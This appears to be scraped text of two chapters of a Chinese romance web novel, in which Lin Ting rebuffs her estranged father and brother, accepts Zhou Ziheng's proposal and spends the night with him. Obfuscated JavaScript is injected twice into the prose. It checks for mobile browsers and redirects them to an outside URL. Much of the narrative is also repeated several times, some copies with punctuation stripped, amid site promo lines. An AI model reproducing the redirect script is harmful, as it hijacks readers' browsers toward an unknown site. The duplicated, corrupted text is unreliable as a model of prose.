里面的林听,听说林振宇的林建国过来了,态度十分坚决,“洛高,告诉他们,柚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15880949|172816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子在睡觉,不方便见客。” 洛高走出去转达完,又走进来,“林小姐,那两父子说了,他们可以在外面等着,柚子什么时候醒,他们什么时候再进来。” 周自衡在旁边替柚了剥着桔子,不由嗤之以鼻道,“林建国妄想替你办一场风风光光的婚礼,说是同意把你嫁给我,要我好好珍惜。” 闻言,林听要被气笑了。 他们是不是以为,一起经历了曹叔的事情,她就可以当作以前的事情什么也没发生过? 她干脆利落道,“洛高,帮我转告一下,柚子醒了也不愿意见他们,让他们回去吧。对了,帮我买点营养品送到林振宇的病房,算是感谢他当时的英勇之举。” 周自衡已经转达过她,林振宇脱离生命危险了。 她不希望林振宇和林建国死掉,但也不会原谅这两个人。 洛高就这样,当起了林听和林家父子二人的传话筒,又走到病房外头把林听的原话转述给二人。 坐在轮椅上的林振宇,满眼浸着痛苦的泪水,“小听这是还没有原谅我吗?” 洛高不冷不**劝道,“二位,回去吧。林小姐不愿意见你们,你们等再久,她也不会让你们进去的。” 轮椅里的林振宇,坚持道,“没关系,等再久我都愿意。” 是他,让他最宝贝的妹妹,受了诸多苦难,差点死在自己手上。 等这点时间,又算什么呢? 洛高又不好撵人。 毕竟这里是医院。 他只好又回去,向林听传话,“林小姐,林家父子二人不走了。” 林听也是硬气,脸色垮下来,冷冷道,“那就让他们等吧。” 夜深了。 林建国怕林振宇刚刚做完手术,这样不吃不喝等在这里会吃不消。 他劝道,“振宇啊,爸先送你回病房休息,我们明天再来。” “不,爸,今天见不到小听,得不到小听的原谅,我是不会走的。”林振宇打算在这里死等下去。 他和林听终归是亲生的兄妹。 林听肯定不忍心见他身中数刀,刚刚生里逃生,却还在这里苦苦等候的。 就在这个时候,门吱吖一声,开了…… 你的朋友正在书荒,快去帮帮他吧 宇去到了柚子的病房。 门外有周自衡安排的人守着他们根本进不去。 里面的林听听说林振宇的林建国过来了态度十分坚决“洛高 洛高走出去转达完又走进来“林小姐那两父子说了他们可以在外面等着柚子什么时候醒他们什么时候再进来。” 周自衡在旁边替柚了剥着桔子不由嗤之以鼻道“林建国妄想替你办一场风风光光的婚礼说是同意把你嫁给我要我好好珍惜。” 闻言林听要被气笑了。 他们是不是以为一起经历了曹叔的事情她就可以当作以前的事情什么也没发生过? 她干脆利落道“洛高帮我转告一下柚子醒了也不愿意见他们让他们回去吧。对了帮我买点营养品送到林振宇的病房算是感谢他当时的英勇之举。” 周自衡已经转达过她林振宇脱离生命危险了。 她不希望林振宇和林建国死掉但也不会原谅这两个人。 洛高就这样当起了林听和林家父子二人的传话筒又走到病房外头把林听的原话转述给二人。 坐在轮椅上的林振宇满眼浸着痛苦的泪水“小听这是还没有原谅我吗?” 洛高不冷不**劝道“二位回去吧。林小姐不愿意见你们你们等再久她也不会让你们进去的。” 轮椅里的林振宇坚持道“没关系等再久我都愿意。” 是他让他最宝贝的妹妹受了诸多苦难差点死在自己手上。 等这点时间又算什么呢? 洛高又不好撵人。 毕竟这里是医院。 他只好又回去向林听传话“林小姐林家父子二人不走了。” 林听也是硬气脸色垮下来冷冷道“那就让他们等吧。” 夜深了。 林建国怕林振宇刚刚做完手术这样不吃不喝等在这里会吃不消。 他劝道“振宇啊爸先送你回病房休息我们明天再来。” “不爸今天见不到小听得不到小听的原谅我是不会走的。”林振宇打算在这里死等下去。 他和林听终归是亲生的兄妹。 林听肯定不忍心见他身中数刀刚刚生里逃生却还在这里苦苦等候的。 就在这个时候门吱吖一声开了…… 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 宇去到了柚子的病房。 门外有周自衡安排的人守着,他们根本进不去。 里面的林听,听说林振宇的林建国过来了,态度十分坚决,“洛高,告诉他们,柚子在睡觉,不方便见客。 洛高走出去转达完,又走进来,“林小姐,那两父子说了,他们可以在外面等着,柚子什么时候醒,他们什么时候再进来。 周自衡在旁边替柚了剥着桔子,不由嗤之以鼻道,“林建国妄想替你办一场风风光光的婚礼,说是同意把你嫁给我,要我好好珍惜。 闻言,林听要被气笑了。 他们是不是以为,一起经历了曹叔的事情,她就可以当作以前的事情什么也没发生过? 她干脆利落道,“洛高,帮我转告一下,柚子醒了也不愿意见他们,让他们回去吧。对了,帮我买点营养品送到林振宇的病房,算是感谢他当时的英勇之举。 周自衡已经转达过她,林振宇脱离生命危险了。 她不希望林振宇和林建国死掉,但也不会原谅这两个人。 洛高就这样,当起了林听和林家父子二人的传话筒,又走到病房外头把林听的原话转述给二人。 坐在轮椅上的林振宇,满眼浸着痛苦的泪水,“小听这是还没有原谅我吗? 洛高不冷不**劝道,“二位,回去吧。林小姐不愿意见你们,你们等再久,她也不会让你们进去的。 轮椅里的林振宇,坚持道,“没关系,等再久我都愿意。 是他,让他最宝贝的妹妹,受了诸多苦难,差点死在自己手上。 等这点时间,又算什么呢? 洛高又不好撵人。 毕竟这里是医院。 他只好又回去,向林听传话,“林小姐,林家父子二人不走了。 林听也是硬气,脸色垮下来,冷冷道,“那就让他们等吧。 夜深了。 林建国怕林振宇刚刚做完手术,这样不吃不喝等在这里会吃不消。 他劝道,“振宇啊,爸先送你回病房休息,我们明天再来。 “不,爸,今天见不到小听,得不到小听的原谅,我是不会走的。林振宇打算在这里死等下去。 他和林听终归是亲生的兄妹。 林听肯定不忍心见他身中数刀,刚刚生里逃生,却还在这里苦苦等候的。 就在这个时候,门吱吖一声,开了…… 听说看这本书的人都是很幸运的,分享后你的运气会更棒 第163章 做周自衡的女人 林振宇满心欢喜地朝门口望去。 见到一脸冷冰冰的林听时,依旧厚着脸皮自己推动着轮椅往前贴上去。 “小妹!” 这声“小妹”,饱含了林振宇对林听的许多感情。 见到她早已换了一身衣服,不再穿着被汽油淋得湿嗒嗒的那身衣服,脸也洗得干干净净的,完完整整的样子,他心下松了一大口气。 他的小妹,没有被苏秀珍一把火点燃,没有受一点点的伤。 这功劳,还是他用性命换来的呢! 林振宇此时此刻,有那么一丢丢的庆幸,又有那么一丢丢的骄傲。 他红着眼眶,对林听说,“小妹,这回我终于可以有脸面去给妈妈上坟了。” 妈妈死之前,他答应过她,要拿命来护住小妹的。 这回,他终于没有再食言。 他终于保护了他最疼爱的妹妹。 林听知道,林振宇指的是什么。 妈妈难产生下她,死之前,林振宇确实答应过妈妈,以后要拿命来护着她。 可是林振宇跟她打这样的感情牌,她很反感。 她板着一张脸,开口道,“你救了我和柚子,我很感激。但是这并不代表我们还能做回以前的兄妹。” “小听!”旁边的林建国好不容易见到她一回,立马开始套起近乎来,“爸爸知道阿衡对你是真心的。这一次,爸爸支持你和阿衡重组一个新的家庭。你们什么时候结婚,婚礼让我和你哥来准备,可以吗?” 最后这句——可以吗,用尽了林建国的哀求。 林听一声苦笑。 她没有办法忘记,她就快死的时候,林建国和林振宇正在替林薇薇准备婚礼。 这辈子,这份血缘亲情或许怎么斩也斩不断。 但她再也不会像以前一样,一声又一声地喊着林建国爸爸了。 “我的婚礼,并不打算请二位参加。” 说完,从身后走出来的周自衡,揽着她的肩,告诫地看向林建国和林振宇,“二位,我未婚妻累了,需要休息。请你们不要在这里纠缠。洛高,送客。” 洛高上前,推着林振宇的轮椅离开。 林建国不得不追着儿子而去。 推到电梯口,洛高 按了电梯,把林振宇推进去,然后帮林振宇按了他所在的住院部楼层。 “二位,希望你们不要再去打扰林小姐。有些伤痛,不是二位说几句内疚的话,做一两件弥补的事情,就能被彻底抹去的。 电梯门就要合上,林建国赶紧走进去,扶着儿子的轮椅。 看着紧闭的那扇门,就像是林听紧闭的那扇心扉一样,林振宇流下了痛苦的泪水。 “爸,小听还是没有原谅我! 林建国拍拍他的肩,“慢慢来吧。洛高说得对,有些伤痛不是我们说几句内疚的话,做一两件弥补的事情,就能彻底抹去的。 第二天,柚子做了一系列的检查。 医生说她已经没什么大碍,可以出院了。 庆幸的是,柚子从小经历许多苦难,经历这次事故,没有落下什么心里阴影。 这孩子,内心坚强得让人心疼。 出院之前,张淑琴和周国立都来了。 周国立抱着柚子热泪盈眶。 张淑琴则是抱着林听热泪盈眶,“小听啊,幸好这次你没出什么事,要不然妈都不知道该怎么活了。 张淑琴就只有周琪那么一个独生女。 可是周琪难产去世。 这唯一认得干女儿林听,要是于出什么事,那是要了她老婆子的命啊。 “妈,我和柚子没事了,放心。周自衡送给柚子和落落的头绳,发夹,还有平安绳,书包挂件,都有卫星定位系统。我们不是平平安安地回来了吗。不哭了啊! 林听替张淑琴擦着泪,又见周国立也是热泪盈眶,她也跟着泪汪汪的。 如今她有了新的大家庭。 这个大家庭里,每一个人都很爱她。 她的心被填得满满的。 “爸,妈,我答应你们,以后都要好好的,再不让你们担心了,你们别哭了。 一家人沉浸在劫后余生的团聚里。 没有人注意到,不远处,林建国正推着林振宇的轮椅,远远地瞧着他们。 林建国听到林听叫别人爸妈,又听到柚子叫别人外公外婆,心里那叫一个苦涩不堪。 而轮椅里的林振宇,声音无比落寞,“爸,小听和柚子有了新的大家庭了,她们真的不要我 们了。” 他们一家人虽是热泪盈眶,可是却和和美美,热热闹闹的。 哪里像他们父子俩,孤孤单单,凄凄然然地站在角落里。 所有的热闹与美好,都与他们父子二人没有任何关系。 他们像是被抛弃的可怜虫一样。 …… 君悦府。 这天晚上,是一顿难得的家宴。 餐桌上,有周国立、张淑琴、宋律风、柚子、落落、盼盼,还有周自衡和林听。 这个家庭是一个很奇妙的组合。 身为父母的周国立,却不是宋律风和林听的亲生父母。 他们却受到了宋律风和林听的深深敬爱。 周自衡知道,林家那位再也做不了林听婚事的主。 所以,周自衡只拿张淑琴和周国立当林听的娘家人。 席间,周自衡放下筷子,喊了二老一声,“周叔,张姨,我有件事要与二老商量。” 张淑琴朝着周自衡望去,好奇地问道,“什么事?” “我想娶林听。”周自衡侧头,看了一眼正在喝汤,听到他说这句话,差点噎一下的林听。 他赶紧轻轻拍了拍林听的背,关切道,“没事吧?” 林听眨眨眼。 长长的睫毛下,覆盖着一片诧异。 见了咳了几声,周国立和张淑琴赶紧问,“小听,有没有呛着?” 林听摇了摇头,“没事。” 见她没事,张淑琴赶紧望向周自衡,追问道,“阿衡,你刚刚说什么,你要娶小听?” 餐桌对面的周自衡,满眼真诚,“希望二老能够把你们的宝贝女儿,嫁给我。我已经挑好了良辰吉日,定好了下聘礼和婚礼的日子。我以后会和林听好好过日子,好好对她和柚子。” 说话间,周自衡握住了林听的手。 他的手臂上,还缠着纱布。 那是替林听挡刀子时,留下的伤。 周国立和张淑琴都知道,这是周自衡第二次替林听挡刀子了。 这个男人是拿命在保护着林听。 张淑琴心里虽然正偷着乐,可是还是故作严肃状: “同意倒是同意,但是婚后你要是敢做出什么伤害我们小听和柚子的事情来, 我和老周两个人肯定把你的腿给打断了。 “不会哒,外婆。我爸爸很爱我和妈妈哒。说出这句话的人,是正在啃可乐鸡翅的小柚子。 小柚子满嘴糊着酱油和可乐汁,擦擦嘴,有些难过道,“外婆,你不能打断我爸爸的腿,我爸爸是这个世界上最好的爸爸。 他们当然知道,周自衡是林听的良配。 这只是开玩笑的罢了。 张淑琴揉了揉柚子的脑袋,“阿衡,你这小棉袄没有白疼。 晚饭结束后,张淑琴把柚子留下来,“柚子,今天晚上你留在这边,挨着外婆和落落姐姐睡,外婆给你讲你最喜欢的《女水手的故事》好不好? 柚子当然不愿意了,小嘴一努,道,“不要,我要听爸爸给我讲故事。 周自衡朝柚子伸了伸手,“走吧,爸爸回家给你讲故事。 就要够着柚子的手时,张淑琴将柚子朝面前一来,然后蹲下来,抱着柚子,在柚子耳畔边小声说道: “柚子,你不是想让爸爸妈妈给你生弟弟妹妹吗。你答应外婆,最近这段时间你都住在外婆这边,妈妈很快就能怀上小宝宝了。 外婆的声音很轻,轻到旁人不知道他们在说什么悄悄话。 柚子也小声地问,“真哒? “外婆什么时候骗过你? “好椰!柚子欢呼,“那我要留下来和落落姐姐还有外婆一起睡。 林听看柚子突然改变了主意,不由好奇地看着这婆孙俩,“妈,你和柚子刚刚说了什么悄悄话? 张淑琴笑着把柚子抱起来,朝二人招了招手,“没什么,就是落落想留柚子,两姐妹好久没一起玩了。你们快回去吧,有我照顾着柚子,你们放心。 林听怕张淑琴一个人带三个孩子太累了。 盼盼现在才九个月,晚上正是喝夜奶的时候。 “妈,我还是把柚子带回去吧,你晚上好好休息。 张淑琴挥手道,“带一个也是带,带三个也是带,放心,累不着我,你们快走。 说着,张淑琴就将林听和周自衡往外推。 离开之前,柚子朝二人挥手,“爸爸,妈妈,你们回去吧,我会乖乖听外婆的话,不会踢被子哒。 二人转身离开。 一高一矮的身影,落在月色下,连影子也甜甜蜜蜜的。 不知不觉间,周自衡抓住了林听的手,握在掌心里,紧紧扣着。 指尖厚厚的茧子,让林听心疼。 她知道,这一路周自衡孑然一身,很不容易。 她反扣住周自衡的手,紧紧握着,“周自衡,你这婚求得会不会太简单了?什么都不跟我商量,连恋爱过程也省了,直接就要结婚,你也没问问我愿不愿意。” 说话间,两人已经来到了别墅门口。 周自衡停下来,“我以为你同意了。” 林听也跟着停下来,不由嘀咕了一声,“我什么时候同意了?” 下一瞬,周自衡的薄唇落下来。 发梢扫过她白皙的脸颊时,他的唇并没有碰触到她。 停顿的那一刻,他的呼吸变得小心翼翼。 初恋的苦涩在这一刻,终于变成了清甜,如这丝丝缕缕温柔的风,掠过周自衡的心间。 明明闭着眼睛,他却小心翼翼地感受着林听的反应。 她没有拒绝。 没有躲避。 下一瞬,他缓缓睁开了眼睛。 大掌落在了林听纤细的腰身。 柔软的腰枝,来到了怀里。 林听白皙迷人的脸蛋上,是夜风的温柔,也是一个女孩的朦胧醉意。 感觉到他没有亲下来,林听缓缓地睁开了眼睛。 那双眸子里,映着她朦胧的醉意,也映着她的款款秋水。 “你没有拒绝我,是对我也有感觉的,对吗?” 夜色里,周自衡小心翼翼地问。 那干净的声线,透着他的铁血柔情。 夜色里,林听最用温柔的声音,回复他: “周自衡,我认真地想过了。” “人生不能吊死在一棵树上。” “我应该给自己一个机会,去迎接崭新的生活。” 她的回答,周自衡很满意。 他勾唇一笑。 这笑容仿佛要揽尽漫天星辰的温柔。 整座城市的星光,都跌进了此刻的甜蜜之中。 夜风轻轻掠过。 周自衡拂过她脸颊边的碎发,别到她 的耳后,露出一只白皙迷人的耳朵。 今天的林听,恰巧没有戴耳环。 周自衡像是变戏法似的,掏出一对耳钉来,摊在他长着厚茧的掌心里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15886251|172816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “还记得这对耳钉吗耳钉吗? 那对耳钉,林听有些眼熟。 似曾相识。 但又记不起来了。 周自衡提醒道,“仔细想想,长江路99号铺子,古怪的首饰匠。 顺着周自衡给的提醒,林听恍然大悟,“我说这对耳钉去哪里的,原来在你这里? 这还是她十二岁生日那天,她自己买给自己的生日礼物。 在长江路99号铺子,在那个古怪的首饰匠那里定做的。 一对樱桃形状的黄金耳钉。 后来怎么找,也找不到了。 原来在周自衡这里。 周自衡说,“那一天你们校长站在校门口抓戴耳钉耳环的坏学生,你慌慌张张取下来,却掉在了路边,正好被我捡到了。 林听疑惑,“为什么刚好被你捡到了。 周自衡拂开她耳畔边的碎发,“因为我刚好走在你后面。 林听感觉到凉凉的耳钉,穿过了她耳朵上的那个孔,伸手一摸,他已经替她戴好了。 随即,她对他调皮一笑,“周自衡,你不会是故意走在我后面的吧? 那是一段苦涩而又无言的暗恋。 林听十二岁的时候,周自衡已经十五岁了。 可她每天像是江遇的小尾巴一样,只会围着江遇转悠。 哪怕他就站在江遇的旁边,她的眼里也看不到他。 许多时候,他只能默默地跟在她的身后,抑或是站在远远的地方,瞧上她一眼。 戴好她另一只耳朵的耳钉,他瞧了瞧,“真好,物归原主了。 拾到这对耳钉的时候,他对自己说,以后如果能够得到她,就把耳钉物归原主。 如果不能,就让这对耳钉,还有她遗落的头绳,陪着他,一辈子。 如今,它终于可以回到主人的耳朵上了。 “戴着真好看。 “林听。他认真地看着她,“其实你不答应我,也来不及了。 说着,他笑着举起她的手来。 白皙纤细的手指上,套着一枚钻戒。 细碎的流光,在夜色下闪烁着。 冷白皮的林听,戴着这枚戒指,高贵如公主。 周自衡轻轻握起她戴着戒指的这根指头,勾唇笑道,“这枚戒指不是我让洛高去买来的,是我花了两个多月的时间,亲手打造的。” 上面有一个字母,H。 也有一个汉字:衡。 一个是他的名字最后一个字,一个是拼音缩写。 也代表,谐音永恒。 他得意一笑,“戴上这枚戒指,你还能逃出我的手掌心?” “好啊,周自衡。”林听故作生意状,瞪了他一眼,“原来你早就开始盘算着,怎么把我骗到手了?” 周自衡勾着她的腰,笑着问道,“那我现在,骗到手了吗?” “过来,周自衡。”林听朝他勾了勾手指。 他乖乖地把脑袋靠近她。 纤细白皙的手掌,落在男人挺拔的脖颈后侧,霸气凛然地亲上去,“接吻不是你那样接的,本姑娘今天好好教教你。” 这天晚上,干柴遇上烈火。 一切,顺理成章…… 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 白皙纤细的手指上,套着一枚钻戒。 细碎的流光,在夜色下闪烁着。 冷白皮的林听,戴着这枚戒指,高贵如公主。 周自衡轻轻握起她戴着戒指的这根指头,勾唇笑道,“这枚戒指不是我让洛高去买来的,是我花了两个多月的时间,亲手打造的。” 上面有一个字母,H。 也有一个汉字:衡。 一个是他的名字最后一个字,一个是拼音缩写。 也代表,谐音永恒。 他得意一笑,“戴上这枚戒指,你还能逃出我的手掌心?” “好啊,周自衡。”林听故作生意状,瞪了他一眼,“原来你早就开始盘算着,怎么把我骗到手了?” 周自衡勾着她的腰,笑着问道,“那我现在,骗到手了吗?” “过来,周自衡。”林听朝他勾了勾手指。 他乖乖地把脑袋靠近她。 纤细白皙的手掌,落在男人挺拔的脖颈后侧,霸气凛然地亲上去,“接吻不是你那样接的,本姑娘今天好好教教你。” 这天晚上,干柴遇上烈火。 一切,顺理成章…… 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 白皙纤细的手指上套着一枚钻戒。 细碎的流光在夜色下闪烁着。 冷白皮的林听戴着这枚戒指高贵如公主。 周自衡轻轻握起她戴着戒指的这根指头勾唇笑道“这枚戒指不是我让洛高去买来的是我花了两个多月的时间亲手打造的。” 上面有一个字母H。 也有一个汉字:衡。 一个是他的名字最后一个字一个是拼音缩写。 也代表谐音永恒。 他得意一笑“戴上这枚戒指你还能逃出我的手掌心?” “好啊周自衡。”林听故作生意状瞪了他一眼“原来你早就开始盘算着怎么把我骗到手了?” 周自衡勾着她的腰笑着问道“那我现在骗到手了吗?” “过来周自衡。”林听朝他勾了勾手指。 他乖乖地把脑袋靠近她。 纤细白皙的手掌落在男人挺拔的脖颈后侧霸气凛然地亲上去“接吻不是你那样接的本姑娘今天好好教教你。” 这天晚上干柴遇上烈火。 一切 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 第164章 还想要 他们从别墅外,一路拥吻,到了客厅,二楼,房间。 整个卧室的月光,仿佛都要跌进这烈火缠绵之中。 林听已经有六年,没有和男人做过这种事情了。 太久没有碰过男人,她显得有些笨拙和生疏。 加上这是周自衡的第一次。 两人摸索了很久。 雨歇云收,已经是大半夜了。 半遮半掩的窗帘被风吹起。 月光洒进来,落在床边的地毯上,又落在地毯上层层叠的衣服上。 男人的,女人的。 那只缠着纱布的,精瘦有力的手臂,环在女人纤瘦白皙的腰间,久久不愿松开。 滚热的唇,轻吻着女人的发。 “林听,你知道我等这一天,等了多久了吗? 林听大概知道了。 应该是从她六岁那年,义无反顾跳进泳池里,去营救周自衡开始,这个男人就盘算着将来要娶她当媳妇。 她没有回答他的问题,而是翻身从他怀里爬起来,无比严肃地看着他。 “周自衡,我不管,你现在已经是我的人了。 “以后,你要对我坦诚,要知无不言,尤其是周家的事情,你要是遇到像那天被大货车撞的事情,一定要第一时间告诉我。否则我会跟你翻脸的。 周自衡拉着她的手腕,重新把她带入怀里。 她身前的一片雪白,撞在他结实的胸膛上。 即使这样紧紧捅着她,他仍旧觉得不够。 下颌抵在她的脑袋上,深吻着她的发,“嗯。 浅浅的月光中,林听无意识地瞥见一抹鲜红。 那是从周自衡的右臂纱布上,浸出来的一片鲜血。 这个男人前几天才替她挡了刀子,缝合的伤口还没有完全愈合。 “周自衡,你的手臂流血了。 她开了灯一看,果然是流血了。 鲜血浸在白色的纱布上,染红了一大片。 她又心疼,又责备地瞪了他一眼,“都怪你,刚刚那般用力,很疼吧? 周自衡没有回应林听。 灯光照得一室明亮。 如缎般丝滑的薄被,缠在林听纤瘦白皙的腰身。 腰身之上什么也没穿。 周自衡打量着她身前的一片雪白耳尖竟然红红的。 终于得到了她在他人生三十三岁的这个深秋之夜他所有的沉稳和淡定在这一刻都被击垮他羞赧得像个刚刚入步青春期的大男孩。 凉风吹过来他带着耳尖的那抹红拉着被子裹在她的身上“别着凉了。” 他丝毫不顾自己受伤的手臂渗出血这件事情。 从小到大他吃过太多的苦受过太多的伤。 这点伤对他来说就像是被蚂蚁咬了一下无足轻重。 可是林听却心疼得不行。 她拉过周自衡的手臂来眼眶突然泛起泪花来。 连声音都哽咽了“周自衡……” “怎么还哭了?就是一点小伤而已没事的。”周自衡拭过她的脸颊拭去那颗从她鼻尖滑落的泪水轻轻拥她入怀“真的不疼没事的。” 她抬头认真而又严肃地看着他 为了她他已经替她挡过三次刀子了。 两次都是苏秀珍捅过来的。 还有一次虽是替江遇挡的可是那一次他也是为了她。 他为了不让她难过为了让江遇好好活着和她好好在一起那一次医**件伤及周自衡的脾胃差点要了他的命。 她宁愿受伤的是她自己也不愿这个从小就没有人疼的男人次次为她受伤。 没人疼他。 以后她来疼。 很快她掀开身上如缎的薄被下了床。 一双纤细白皙的玉足踩在深色地毯弯腰捡起地上凌乱的衣服穿在身上“我去给你拿药箱子给你重新包扎一下。” 身后的周自衡拉住她的手腕“你去洗个澡吧。” 见到她满眼担忧的样子周自衡空缺的心被填得满满的。 从来没有人这般在意过他。 从小到大别说是受了一点小伤哪怕是就快要死掉了都没有人像林听此刻这样着急。 周自衡突然有些受宠若惊“我自己简单处理一下就好真的没事的。” “不行。”林听甩开他的手坚持 道,“我必须给你包扎,一会儿给你包扎完,我再去洗澡,你先在这里等我。 很快,她从一楼拿来了医药箱。 坐在床边,抬起他受伤的右手,一圈一圈地绕开浸着鲜血的纱布。 直到露出他渗血的伤口来,林听这才发现,他伤口的缝针处,何止他之前说的才缝了三针而已? 这密密麻麻的,至少十几针。 而且她是学医的,照着这伤势看来,这至少得里三层外三层,缝合了好几层。 她又心疼,又责备地瞪了他一眼,“周自衡,这叫才缝了三针而已? 谎言被拆穿的周自衡,理直气壮道,“三针和十针有什么区别,对我来说都跟挠痒痒一样。 “这也不只十针啊。林听光是想想,就觉得很疼。 心疼的泪水,不由冒出来,一串一串的。 周自衡看见她一哭,怜惜得不得了,赶紧替她擦泪,“对我来说真的像挠痒痒一样,一点也不疼的,不哭,乖! 那眼泪,他替她擦掉了,又冒出来。 就像关不掉的水龙头一样。 周自衡不太会哄女孩子。 不知道女孩子哭了,该怎么哄她。 只好她流多少泪,他便替她擦多少次。 想到周自衡从小到大的遭遇,爹不疼娘不爱,有那么多兄弟手足,一个个的都想要他的命,就连他最好的兄弟江遇都错怪了他。 他就像是一个无根的浮萍一样。 不,他就像是之前他的微信头像图片一样,是一叶飘摇于狂风大浪之中的破破烂烂的孤舟。 越是心疼他,林听越是哭得汹涌。 又觉得自己和他同病相怜,都是可怜的人儿。 哭得太投入,眼泪鼻涕一起流出来。 周自衡伸过手来,要替她气擦掉鼻尖冒出的泡泡,她躲开了,“你别给我擦,脏**。 他抽出一张床头柜的纸巾,硬要擦掉她鼻尖冒出的泡泡,“哭得可难看了。 林听自己夺过纸巾,又擦了擦,“难看你还要看? 周自衡笑得爽朗,“再难看,以后都是我周自衡的老婆了。 说着,将她抱进怀里。 那如缎的薄被,缠在他劲瘦有力的腰 间。 露出的上半身紧实、性感,而又充满了力量。 林听靠着这堵结实的胸膛,感受到他每一块劲瘦有力的胸前肌肉,都蓄满了男人磅礴的力量。 这个男人力气太大了,难怪刚刚失控时,手上的伤口裂开了都不知道。 她推开他的胸膛,埋下头来,重新抬起他的右手,开始做正事。 “好啦,不打闹了,乖一点,别动,我重新给你包扎。 怕他疼,她拿起蘸了碘伏的棉签落下去时,动作小心翼翼的,“疼吗? 他摇头,“不疼。 可她还是擦得小心翼翼。 周自衡第一次体会到,原来受伤了也是一种幸福。 她又问,“真的不疼? “嗯。周自衡看着这个肤白貌美的女人,宁静幸福的眼神里,有一阵克制,“不过一会儿洗澡的时候,可能要你帮我。 林听自愿道,“那我帮你洗。 重新包扎好纱布,林听在他结实有力的手臂上,打上了一个蝴蝶结。 周自衡不由夸赞道,“我老婆包括的,果然比护士包括的好看。 “别臭美了。林听打趣一笑,“还不是你老婆呢。你要是不听我的话,惹我不高兴了,才不给你做老婆。 周自衡故作失落道,“那小柚子可能要失落了。 那小妮子,可是天天盼着爸爸妈妈给她生弟弟妹妹。 周自衡故意笑道,“小柚子昨天还问我,妈妈什么时候能给她生弟弟妹妹。 “你就会收买人心。林听故意笑着瞪了他一眼,“我看你刚出狱的时候,对柚子就格外亲切。那个时候就盘算着,怎么收买柚子了吧? 现在所有人都站在周自衡这一边。 宋律风也好,张淑琴和周国立也好,还是小柚子落落两姐妹也好,都希望他把她娶了。 就连林建国和林振宇两父子,也抛弃了江遇,站到了周自衡这边。 “周自衡,我发现你好有心计。 “这不叫心计,这叫纵横谋略。 “走啦,去洗一下。 两人刚刚温存一番,这会儿身上都黏糊糊的,全身是汗。 她拉着身上盖着薄被的周自衡,就要起 身。 周自衡耳尖一红“我没穿裤子。” 站在床边的林听看着周自衡起身时顺带抓着被子围在腰间 想不到他一个三十三岁的大男人平日里看起来铁血刚毅足智多谋就是一个城府极深的淡定之人。 没想到也会有害羞的一刻。 林听赶紧找出他的底裤扔给他“反正都看光了有什么好害羞的。” 虽是红着耳法可是周自衡却勾唇调戏道“你说的那我松手了。” 真到了周自衡松开围在腰间的薄被露出腰腹以下来时倒是林听很害羞地别开了脸“快穿裤子我还要给你洗澡。” 周自衡也适应了两人这样的亲密无间相处方式。 一只修长精瘦又充满肌肉力量的腿穿过裤衩“不是你说的反正都看光了?” 他穿好裤子站在林听面前足足比她高出快一个脑袋来。 捧起她发烫的脸颊让她正面面对着自己“我的手不方便一会儿洗澡就有劳你了包括全身。” 林听瞪他一眼“周自衡你没有全残吧真要我给你洗全身?” 周自衡拉着她往浴室走去。 这大半夜的两个情侣不睡觉却在浴室里打情骂俏。 周自衡以手受伤了不方便为由全程缠着林听给他洗澡。 洗到腰腹以下林听把手中的花洒扔给他“左手没受伤自己洗。” 花洒里的水流却突然间停了。 林听抬眸一看周自衡关掉了水拿走她手中的花酒。 带着雪松的气息滚烫地落在她的耳畔间“再来一遍!” “周自衡你的手臂还有伤呢!”林听试图推开她。 却发现将他壁咚在陶瓷墙面的男人根本纹丝不动。 起伏的胸腔蓄满了男人的力量“你也知道我为你守身如玉这么多年从来没有碰过女人。” 今天是她先招惹他的。 他尝到了从未尝过的甜头哪里肯轻易喊停。 夜半浴室里又是新一轮的尤云殢雨无休无止。 …… 翌日林听在一阵软绵无力中醒来。 窗帘轻轻 掩着。 自然光线,微微透进来,朦胧而陶醉。 一睁眼,林听便瞧见周自衡坐在床侧一边,手中翻看着一本书页。 这一看才知道,那是婚纱定制的样式图本。 他骨节分明的手指,翻开下一页,继续浏览着,“醒了? 直到床上的林听懒洋洋如小猫咪一样嗯了一声,周自衡这才从书页中的婚纱样式抽开目光,看向了她。 随即,放下这本婚纱定制的样式图本,“这些婚纱都不太理想。 他决定,亲自为她设计。 到时候他画好草图,交由设计师完善。 看着林听抱起一块枕头,换了一个慵懒的姿势,似乎还不想起床。 他伸手揉了揉她的脑袋。 又顺又柔的短发,从他指尖滑过,“我们今天去领证,好不好? “今天啊,会不会太仓促了? 周自衡一听她这态度,也跟着皱起眉心来,故作委屈状,“我守了三十三年的清白身子,就这么被你夺走了,想吃干抹净不负责? 听他这么一说,林听忍俊不禁。 话说回来,她从来没有想过,她还会再拥有第二个男人。 而且还是这么一个痴情种。 好像她确实是占了他很大的便宜。 不过,她今天确实是有更要紧的事情。 “今天薛老要传授他毕生的针灸手法,这是第一课,只有三个名额。我要是不去,会被他别的子弟顶替的。好不容易挤进这三个名额里,我必须去。 学好传统医学的中医本领,是她毕生梦想。 可不能耽误的。 她想了想,拉着周自衡的手,安抚道,“明天一早,再去领证,好不好?一大早我们第一个去。 周自衡知道她从高考填志愿起,就一直想学医,尤其是中医。 